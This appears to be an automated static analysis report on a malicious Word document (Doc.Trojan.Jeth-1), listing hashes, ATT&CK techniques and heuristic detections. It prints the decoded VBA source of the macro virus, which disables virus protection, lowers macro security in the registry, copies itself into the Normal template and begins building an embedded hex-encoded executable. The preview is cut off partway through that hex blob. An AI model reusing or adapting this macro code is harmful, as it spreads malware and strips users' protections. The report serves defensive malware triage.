Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 44c35d39f3281273…

MALICIOUS

Office (OLE)

73.0 KB Created: 2001-07-10 17:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a3d1933bfb2829fc6613b23774a08fec SHA-1: 2e5c7777d3c1c546498217738fdb4e83a682b307 SHA-256: 44c35d39f328127312aa11d194868be2585fad6c5cb9d9b3501be1e793aeaaf6
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that executes when the document is opened. This macro attempts to export a component named 'Jethro' to 'C:\jetjet.sys' and then imports it into the active document and the Normal template. The Dropea_Exe subroutine appears to contain embedded executable code, likely intended to be written to disk and executed, thus downloading and running a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Trojan.Jeth-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jeth-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 68365 bytes
SHA-256: c113a6fae605574cf72130f58955a6cdcc6369341391d005010539fd2d809459
Detection
ClamAV: Doc.Trojan.Jeth-1
Obfuscation or payload: likely
Carved artifact contains 328 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Jethro"
Sub AutoOpen()
On Error Resume Next
With Options: .VirusProtection = Not -1: .ConfirmConversions = Not -1: End With
With Application: .DisplayStatusBar = Not -1: PIO = .Version: End With
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" & PIO & "\Word\Security", "Level") = "1"
Set DOC = Application.Application.ActiveDocument
Set NOR = Application.Application.NormalTemplate
Set DOX = DOC.VBProject.VBComponents
Set NOX = NOR.VBProject.VBComponents
For x = 1 To DOX.Count
If (DOX(x).Name = "Jethro") Then inDoc = True
Next
For x = 1 To NOX.Count
If (NOX(x).Name = "Jethro") Then inNor = True
Next
If (inDoc = False) Then
  NOX.Item("Jethro").Export "C:\jetjet.sys"
  DOX.Import "C:\jetjet.sys"
  ActiveDocument.SaveAs ActiveDocument.FullName
End If
If (inNor = False) Then
  DOX.Item("Jethro").Export "C:\jetjet.sys"
  NOX.Import "C:\jetjet.sys"
End If

Call Dropea_Exe
End Sub

Sub Dropea_Exe()

On Error Resume Next
Dim Mijo As String
Dim K As String
Mijo = "4D5A50000200000004000F00FFFF0000B80000000000000040001A00000000000000000000000000000000000000000000000000000000004C53000000010000BA10000E1FB409CD21B801"
Mijo = Mijo + "4CCD219090546869732070726F6772616D206D7573742062652072756E20756E6465722057696E33320D0A2437000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "00000000000000000000000000000000000000000000000000000000000000504500004C010400BA2AFB640000000000000000E0008E810B01021900020000000400000000000000500000"
Mijo = Mijo + "0010000000200000000040000010000000020000010000000000000003000A0000000000007600000004000000000000020000000000100000200000000010000010000000000000100000"
Mijo = Mijo + "0000000000000000000030000054000000000000000000000000000000000000000000000000000000004000000C0000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000434F44450000000000100000001000000002000000"
Mijo = Mijo + "060000000000000000000000000000200000E0444154410000000000100000002000000000000000080000000000000000000000000000400000C02E696461746100000010000000300000"
Mijo = Mijo + "0002000000080000000000000000000000000000400000C02E72656C6F6300001B2600000040000000280000000A0000000000000000000000000000600000F00000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
Mijo = Mijo + "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
... (truncated)

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